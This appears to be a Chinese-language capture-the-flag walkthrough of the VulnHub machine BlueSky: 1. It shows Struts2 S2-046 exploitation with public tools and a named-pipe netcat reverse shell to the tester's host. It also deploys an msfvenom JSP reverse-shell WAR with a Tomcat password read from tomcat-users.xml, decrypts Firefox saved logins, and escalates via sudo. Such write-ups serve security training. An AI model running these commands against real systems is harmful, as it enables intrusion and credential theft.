0x01 靶机介绍
-
Name: BlueSky: 1
-
Date release: 10 Dec 2020
-
Author: SunCSR Team
-
Series: BlueSky
-
Difficulty: Easy
-
Goal: Get the root shell i.e.(root@localhost:~#) and then obtain flag under /root).
靶机下载地址:
https://www.vulnhub.com/entry/bluesky-1,623/
0x02 侦察
nmap -p- -sV -sC -A 192.168.0.106 -oA nmap_bluesky
gobuster dir -u http://192.168.0.106:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
0x03上线[minhtuan]
searchsploit tomcat 9.0
尝试弱口令进行登录,但均无法成功
https://github.com/Lucifer1993/struts-scan
python struts-scan.py http://192.168.0.106:8080/struts2-showcase/showcase.action
利用 S2-046 成功拿到shell
python struts-scan.py -u http://192.168.0.106:8080/struts2-showcase/showcase.action -i struts2-046
当然也可以使用其他工具进行漏洞利用
git clone https://github.com/mazen160/struts-pwn.git
利用工具发现漏洞并成功执行命令
python struts-pwn.py --url "http://192.168.0.106:8080/struts2-showcase/showcase.action"
python struts-pwn.py --url "http://192.168.0.106:8080/struts2-showcase/showcase.action" -c "nc"
python struts-pwn.py --url "http://192.168.0.106:8080/struts2-showcase/showcase.action" -c "nc -e"
在/tmp目录下创建管道mac,利用管道进行重定向
mknod /tmp/mac p
python struts-pwn.py --url "http://192.168.0.106:8080/struts2-showcase/showcase.action" -c "mknod /tmp/mac p"
本地监听8888端口
nc -nvlp 8888
通过管道文件mac进行数据重定向传递
python struts-pwn.py --url "http://192.168.0.106:8080/struts2-showcase/showcase.action" -c "/bin/sh 0</tmp/mac | nc 192.168.0.109 8888 1>/tmp/mac"
成功拿到反弹shell
python3 -c "import pty;pty.spawn('/bin/bash')"
在当前用户家目录下成功找到第一个flag
cat user.txt
在服务器上进行信息收集发现 Tomcat 后台登录密码为6mzf3>gfZ.pN8_Mp
cd /usr/local/tomcat ##默认安装路径
cat /conf/tomcat-users.xml
通过 MSF 生成用于反弹shell的 war 包
msfvenom -p java/jsp_shell_reverse_tcp
LHOST=192.168.0.109 LPORT=5555 -f war -o shell.war
在后台中部署 war 包
在本地监听5555端口
nc -nvlp 5555
访问木马地址http://192.168.0.106:8080/shell/成功拿到shell
0x04权限提升【ROOT】
ls -la
进入 Firefox 目录成功发现logins.json和key4.db
cd .mozilla/firefox/fvbljmev.default-release
在靶机中通过 python 开启 http 服务
python3 -m http.server 7777
在本地请求两个文件
wget http://192.168.0.106:7777/logins.json
wget http://192.168.0.106:7777/key4.db
下载解密脚本并破解
git clone https://github.com/lclevy/firepwd
pip3 install -r requirements.txt
cd firepwd
python3 firepwd.py -d ../
成功拿到账号密码minhtuan/skysayohyeah
通过 SSH 成功登录 mintuan 用户
ssh minhtuan@192.168.0.106
查看 sudo 权限为ALL
sudo -l
sudo su
cd ~
cat root.txt
0x05 知识星球
原文始发于微信公众号(狐狸说安全):Vulnhub-BlueSky-1
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论